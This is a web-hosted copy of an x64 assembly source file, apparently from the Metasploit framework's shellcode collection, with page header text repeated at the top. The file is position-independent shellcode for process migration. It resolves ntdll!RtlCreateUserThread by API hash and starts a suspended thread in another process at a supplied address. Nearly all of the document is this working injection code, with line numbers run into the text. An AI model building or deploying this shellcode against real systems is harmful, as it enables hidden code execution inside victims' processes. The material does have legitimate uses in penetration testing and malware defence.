Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/windows/x64/src/migrate/remotethread.asm
Views: 11791
;-----------------------------------------------------------------------------;1; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)2; Compatible: Windows 7, 2008R2, 2008, 2003, XP3; Architecture: x644; Version: 1.0 (Jan 2010)5; Size: 296 bytes6; Build: >build.py remotethread7;-----------------------------------------------------------------------------;89; Function to create a remote thread via ntdll!RtlCreateUserThread, used with the x86 executex64 stub.1011; This function is in the form (where the param is a pointer to a WOW64CONTEXT):12; typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );1314;typedef struct _WOW64CONTEXT15;{16; union17; {18; HANDLE hProcess;19; BYTE bPadding2[8];20; } h;21; union22; {23; LPVOID lpStartAddress;24; BYTE bPadding1[8];25; } s;26; union27; {28; LPVOID lpParameter;29; BYTE bPadding2[8];30; } p;31; union32; {33; HANDLE hThread;34; BYTE bPadding2[8];35; } t;36;} WOW64CONTEXT, * LPWOW64CONTEXT;3738[BITS 64]39[ORG 0]40cld ; Clear the direction flag.41mov rsi, rcx ; RCX is a pointer to our WOW64CONTEXT parameter42mov rdi, rsp ; save RSP to RDI so we can restore it later, we do this as we are going to force alignment below...43and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned (as we originate from a wow64 (x86) process we cant guarantee alignment)44call start ; Call start, this pushes the address of 'api_call' onto the stack.45delta: ;46%include "./src/block/block_api.asm"47start: ;48pop rbp ; Pop off the address of 'api_call' for calling later.49; setup the parameters for RtlCreateUserThread...50xor r9, r9 ; StackZeroBits = 051push r9 ; ClientID = NULL52lea rax, [rsi+24] ; RAX is now a pointer to ctx->t.hThread53push rax ; ThreadHandle = &ctx->t.hThread54push qword [rsi+16] ; StartParameter = ctx->p.lpParameter55push qword [rsi+8] ; StartAddress = ctx->s.lpStartAddress56push r9 ; StackCommit = NULL57push r9 ; StackReserved = NULL58mov r8, 1 ; CreateSuspended = TRUE59xor rdx, rdx ; SecurityDescriptor = NULL60mov rcx, [rsi] ; ProcessHandle = ctx->h.hProcess61; perform the call to RtlCreateUserThread...62mov r10d, 0x40A438C8 ; hash( "ntdll.dll", "RtlCreateUserThread" )63call rbp ; RtlCreateUserThread( ctx->h.hProcess, NULL, TRUE, 0, NULL, NULL, ctx->s.lpStartAddress, ctx->p.lpParameter, &ctx->t.hThread, NULL )64test rax, rax ; check the NTSTATUS return value65jz success ; if its zero we have successfully created the thread so we should return TRUE66mov rax, 0 ; otherwise we should return FALSE67jmp cleanup ;68success:69mov rax, 1 ; return TRUE70cleanup:71add rsp, (32 + (8*6)) ; fix up stack (32 bytes for the single call to api_call, and 6*8 bytes for the six params we pushed).72mov rsp, rdi ; restore the stack73ret ; and return to caller747576